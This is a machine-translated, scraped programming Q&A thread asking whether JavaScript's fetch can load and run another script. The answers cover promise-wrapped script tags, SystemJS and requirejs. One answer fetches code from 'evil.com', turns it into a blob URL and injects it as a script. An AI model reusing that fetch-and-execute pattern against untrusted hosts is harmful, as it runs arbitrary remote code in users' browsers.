我可以使用`fetch`从另一个运行JS脚本吗?

mik*_*ent 8 javascript jquery asynchronous ecmascript-6

在这里降低中级JS/JQ人.

我正试图通过使用JS来逃避回调地狱fetch.这被称为"AJAX的替代品",似乎非常强大.我可以看到你如何用它来获取HTML和JSON对象......但是它能够运行你所在的另一个JS脚本吗?也许ES6中还有另一个新功能:

$.getScript( 'xxx.js' );
Run Code Online (Sandbox Code Playgroud)

$.ajax({ url : 'xxx.js', dataType : "script", });
Run Code Online (Sandbox Code Playgroud)

...?

后来,回应约瑟夫梦想家:

试过这个:

const createdScript = $(document.createElement('script')).attr('src', 'generic.js');
fetch( createdScript )...
Run Code Online (Sandbox Code Playgroud)

...它没有运行脚本"generic.js".你的意思是什么?

Est*_*ask 27

Fetch API应该提供基于promise的API来获取远程数据.加载随机远程脚本不是 AJAX - 即使jQuery.ajax能够做到这一点.它不会由Fetch API处理.

脚本可以动态附加并包含一个承诺:

const scriptPromise = new Promise((resolve, reject) => {
  const script = document.createElement('script');
  document.body.appendChild(script);
  script.onload = resolve;
  script.onerror = reject;
  script.async = true;
  script.src = 'foo.js';
});

scriptPromise.then(() => { ... });
Run Code Online (Sandbox Code Playgroud)

SystemJS应该为脚本加载提供基于promise的API,也可以使用:

System.config({
  meta: {
    '*': { format: 'global' }
  }
});

System.import('foo.js').then(() => { ... });
Run Code Online (Sandbox Code Playgroud)

  • 哇...好极了:您已经弄清了`fetch` **,并且**给了我一个解决问题的答案。 (2认同)

小智 10

是的你可以

<script>
    fetch('https://evil.com/1.txt').then(function(response) { 
        if (!response.ok) { 
            return false; 
        } 
        return response.blob(); 
    }) .then(function(myBlob) { 
        var objectURL = URL.createObjectURL(myBlob); 
        var sc = document.createElement("script");
        sc.setAttribute("src", objectURL); 
        sc.setAttribute("type", "text/javascript"); 
        document.head.appendChild(sc);
    })
</script>
Run Code Online (Sandbox Code Playgroud)

不要听所选的“正确”答案。


cne*_*ans 5

这里有几件事需要提及。


是的,可以执行刚刚从服务器加载的 JavaScript。您可以将文件作为文本和用户 eval(...) 获取,但不建议这样做,因为无法跟踪的副作用和缺乏安全性!

另一种选择是: 1. 加载 javascript 文件 2. 使用文件内容(或 url,因为浏览器缓存文件)创建脚本标记

这可行,但它本身可能无法让您摆脱回调地狱。


如果您想要动态加载其他 javascript 文件,您可以使用,例如 requirejs,您可以定义模块并动态加载它们。看看http://requirejs.org/


如果你真的想摆脱回调地狱,你需要做的是

  • 定义函数(您可以将它们放在同一个文件中,或者使用客户端中的 requirejs 或 webpack 从另一个文件加载,如果您可以在部署之前进行编译)
  • 如果需要,请使用 Promise 或 Stream(请参阅 Rxjs https://github.com/Reactive-Extensions/RxJS
  • 记住那个promise.then 返回一个promise

    someAsyncThing()
      .then(doSomethingAndResolveAnotherAsncThing)
      .then(doSomethingAsyncAgain)
    
    Run Code Online (Sandbox Code Playgroud)

请记住,Promise 是可以组合的

Promise.all(somePromise, anotherPromise, fetchFromServer)
  .then(doSomethingWhenAllOfThoseAreResolved)
Run Code Online (Sandbox Code Playgroud)

  • `"[...] 无法追踪的副作用和缺乏安全性 [...]"` 在安全性上 `eval(await fetch(url).then(r =&gt; r.text()))` 和据我所知,`&lt;script src="${url}"&gt;&lt;/script&gt;`? (2认同)